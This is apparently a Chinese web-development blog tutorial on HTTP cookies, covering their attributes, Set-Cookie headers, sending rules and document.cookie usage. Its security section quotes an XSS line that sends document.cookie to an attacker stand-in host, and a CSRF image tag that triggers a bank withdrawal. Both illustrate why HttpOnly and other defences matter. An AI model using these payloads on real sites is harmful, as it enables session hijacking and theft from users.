- A+
文章已收录到我的 GitHub 中,欢迎 star
cookie 是什么和使用场景
cookie
是服务器端保存在浏览器的一小段文本信息,浏览器每次向服务器端发出请求,都会附带上这段信息(不是所有都带上,具体的下文会介绍)。
使用场景:
- 对话管理:保存登录、购物车等需要记录的信息
- 个性化:保存用户的偏好,比如网页的字体大小、背景色等等
- 追踪:记录和分析用户的行为
以上用得较多的还是第一种场景。
我们有时候用
cookie
作为客户端储存,可行但不推荐。因为cookie
本身大小有所限制,而且会影响性能。存储还是应该考虑localStorage
、sesseionStorage
或者indexDB
cookie 的几个重要属性
在了解各个属性之前,我们先打开浏览器调试——Application
——Cookies
——选中一个域。
上面就会有这些 cookie
的名称,值,Domain
,Path
,Expires/Max-age
,Size
,HTTP
,Secure
。
我们接下来就是要讲这里面几个重要的点:
Expires 和 Max-Age
这两个属性涉及到 cookie
的存活时间。
Expires
属性指定一个具体的到期时间,到了这个指定的时间之后,浏览器就不再保留这个 cookie
,它的值是 UTC
格式,可以使用 Date.prototype.toUTCString()
格式进行转换。
设置如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Max-Age
属性制定了从现在开始 cookie
存在的秒数,比如 60 * 60 * 24 * 365
(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。
Max-Age
的优先级会比 Expires
的高,主要的原因 Max-Age
所受的外界因素(比如客户端的时间可能有误)比较小。
如果两者都不设置的,那么这个 cookie
就是Session Cookie
,也一旦关闭浏览器,浏览器就不会保留这个这个 cookie
。
Domain 和 path
这两个属性决定了,HTTP
请求的时候,哪些请求会带上哪些 Cookie
,具体下面会做讲解。
Secure 和 HttpOnly
Secure
属性指定浏览器只有在加密协议 HTTPS
下,才能将这个 Cookie
发送到服务器。另一方面,如果当前协议是 HTTP
,浏览器会自动忽略服务器发来的 Secure
属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS
协议,该开关自动打开。
设置了 Secure
这个属性,那么就会在 Secure
这一栏打钩。
HttpOnly
属性指定该 Cookie
无法通过 JavaScript
脚本拿到,主要是 Document.cookie
属性、XMLHttpRequest
对象和Request API
都拿不到该属性。这样就防止了该 Cookie
被脚本读到,只有浏览器发出 HTTP
请求时,才会带上该 Cookie
。
设置了 HttpOnly
这个属性,那么就会在 HTTP
这一栏打钩
cookie 和 HTTP 协议
HTTP response——cookie 生成
如果服务器端希望在浏览器种 cookie
,那么它只需要在 HTTP
请求头信息中,放置一个 Set-Cookie
的字段。举个例子:
Set-Cookie:foo=bar
那么就会在浏览器种保存一个名为 foo
,值为 bar
的 cookie
。
除了值之外,还可以设置其他的属性。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
当然,一个 Set-Cookie
字段是可以同时包含多个属性(而且没有次序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
注意一点就是,如果你想要使用
Set-Cookie
修改一个已经存在的cookie
的值,那么要注意,你必须匹配原有的所有的属性值(如果存在的话),否则就会生成一个新的cookie
,而不是修改它的值。
比如,原有的 cookie
为:
Set-Cookie: key1=value1; domain=example.com; path=/blog
那么你正确的修改方式应该是:
Set-Cookie: key1=value2; domain=example.com; path=/blog
如果你的修改方式如下的话:
Set-Cookie: key1=value2; domain=example.com; path=/
就会在浏览器端设置两个同名的 cookie
如下:
Cookie: key1=value1; key1=value2
这不是我们希望看到的!
HTTP request——cookie 发送
这里涉及到一个问题,是不是每个请求我们都会带上所有的 cookie
,显然不是的,要不性能就会十分低下了。那么浏览器是根据什么判别哪些请求会带上哪些 cookie
呢?
这就跟 Domain
和 path
属性息息相关了
比如,现在一个 cookie
它的 Domain
属性为 www.example.com
,path
属性值为 /
。意味着,这个 cookie
对该域的根路径以及它的所有子路径都有效。如果我们修改了它的 path
值,为 /forums
,那么这个 cookie
只要在访问 www.example.com/forums
及其子路径时才会带上。
cookie 和安全
会话劫持和XSS
在 Web
应用中,cookie
常用来标记用户或授权会话,如果这些信息(cookie
)会被窃取,可能导致授权用户的会话从而网页收到攻击,比如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly
类型的 cookie
就可以组织 Js
对其的访问从而缓解这种攻击
跨站点请求伪造(CSRF)
比如某个网站的图片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你打开这个图片的时候,如果你登录之前的银行账号而且 cookie
仍然有效(还没有其他验证的步骤,有点极端),那么你的账户就有可能有危险了。
cookie 自动删除和手动删除
在了解 cookie
自动删除之前,我们先来了解小 cookie
的一些限制条件:
- 发送到服务器端的所有
cookie
的最大数量不能超出 4kb,所有超出该限制的cookie
都会被截断并且不会发送到服务器端。 - IE7 以后限制每个域名下
cookie
的数量不得超过 50 个,Opera
限定cookie
的数量为 30个,Safari
和Chrome
就没有这种限制。
其限制的原因,主要在于阻止 cookie
的滥用,而且 cookie
会被发送到服务器端,如果数量太大的话,会严重影响请求的性能。以上这两个限制条件,就是 cookie
为什么会被浏览器自动删除的原因了。
自动删除主要存在以下几种可能:
- 会话
cookie
(session cookie
)在会话结束的时候(浏览器关闭)会被删除。 - 持久化
cookie
(Persistent cookie
)在到达失效日期的时候会被删除。 - 浏览器的
cookie
达到上限,会自动清除,然后为新建的cookie
腾出空间。
document.cookie
对于前端而言,我们获取 cookie
和设置 cookie
都是通过 document.cookie
的方式进行的。
读取 cookie
获取如下(当然是这个 cookie
没有 HttpOnly
属性)。
可以看到,document.cookie
是将所有的可以读的 cookie
一次性读出来的,使用分号分割,所以必须手动的分割。
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { console.log(cookies[i]); } // foo=bar // baz=bar
写入cookie
我们可以通过 document.cookie
为当前的网站添加 cookie
document.cookie = 'fontSize=14';
写入的时候,Cookie
的值必须写成 key=value
的形式。注意,等号两边不能有空格。另外,写入 Cookie
的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie
的值),这可以用 encodeURIComponent
方法达到。
但是,document.cookie
一次只能写入一个 Cookie
,而且写入并不是覆盖,而是添加。
document.cookie = 'test1=hello'; document.cookie = 'test2=world'; document.cookie // test1=hello;test2=world
写入 Cookie
的时候,可以一起写入 Cookie
的属性。
例如:
document.cookie = 'fontSize=14; ' + 'expires=' + someDate.toGMTString() + '; ' + 'path=/subdirectory; ' + 'domain=*.example.com';
删除 cookie
删除一个现存 Cookie
的唯一方法,是设置它的 expires
属性为一个过去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
参考
https://javascript.ruanyifeng.com/bom/cookie.html#toc5
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies